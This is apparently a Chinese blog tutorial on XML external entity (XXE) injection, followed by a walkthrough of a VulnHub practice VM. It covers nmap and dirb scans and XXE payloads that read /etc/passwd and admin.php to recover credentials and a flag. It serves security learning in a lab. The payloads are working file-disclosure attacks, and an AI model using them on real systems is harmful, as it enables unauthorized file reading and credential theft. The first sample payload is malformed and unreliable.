0x00 XML介紹
- 可擴展標記語言,標準通用標記語言的子集,簡稱XML。
- 是一種用於標記電子文件使其具有結構性的標記語言。
- 在電子計算機中,標記指計算機所能理解的信息符號,通過此種標記,計算機之間可以處理包含各種的信息比如文章等。
- 它可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。
- 它非常適合萬維網傳輸,提供統一的方法來描述和交換獨立於應用程序或供應商的結構化數據。
- 是Internet環境中跨平臺的、依賴於內容的技術,也是當今處理分佈式結構信息的有效工具。
- 早在1998年,W3C就發佈了XML1.0規範,使用它來簡化Internet的文檔信息傳輸。
- 在
XML
的解析中包含外部實體時,XXE 攻擊就發生了。 - 因爲解析器只管解析,而不管這個解析是不是惡意的。
0x01 XXE利用
- 一般這種漏洞在使用xml的地方(用wvs能夠掃描出這些點),看到了SYSTEM這個參數就有的利用了,然後採用burp抓包,構造payload進行xml實體注入。
- 我們這裏直接用burp抓包,利用file讀取文件目錄,
- 如果是root權限的話,就可以進一步讀取shadows文件,數據庫配置文件等等,利用價值比較大,
- 普通權限的話我只能根據用戶名來爆破ssh,ftp等等服務,或者查看能夠讀取的文件,進一步擴大滲透範圍
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything[
<!ENTITY myentity SYSTEM="file:///etc/passwd"]>
<xxx>&myentity</xxx>
myentity通過 SYSTEM參數來實體解析遠程服務器中的etc/passwd文件,導致xml外部實體攻擊。
0x02 環境搭建
-
下載靶機地址
https://download.vulnhub.com/xxe/XXE.zip
-
VMware15.5 pro 導入到虛擬機
0x03 XXE靶機實戰
- 掃描主機
namp -sP 192.168.232.0/24
- 掃描開放的端口
nmap -sV -p 192.168.232.131
- 訪問80端口
http://your-ip/
- 掃描目錄
dirb http://192.168.232.131/
- 訪問robots.txt文件
http://192.168.232.131/robo.txt
發現admin.php目錄
http://192.168.232.131/xxe
-
發現需要賬號和密碼,想到抓包
- 抓取登陸數據包
- 更改數據包,xxe利用
- 查看/etc/passwd文件
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>
- 查看 admin.php文件內容
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
- 獲取賬號密碼
賬號:administhebest
密碼:admin@123
- 繼續查看源代碼
- 發現賬號密碼用不了,嘗試flagmeout.php文件信息
先進行base32解密,再進行base64解密。
- 查看/etc/.flag.php文件
- 發現是個webs’hell,保存爲1.php文件,使用ubuntu下,查看
php 1.php
摘抄
成人的世界,
錢就是活着的籌碼;
他們並非多愛錢,
而是沒有錢真的寸步難行;
睜開眼就需要錢的年代,
就怕沒錢。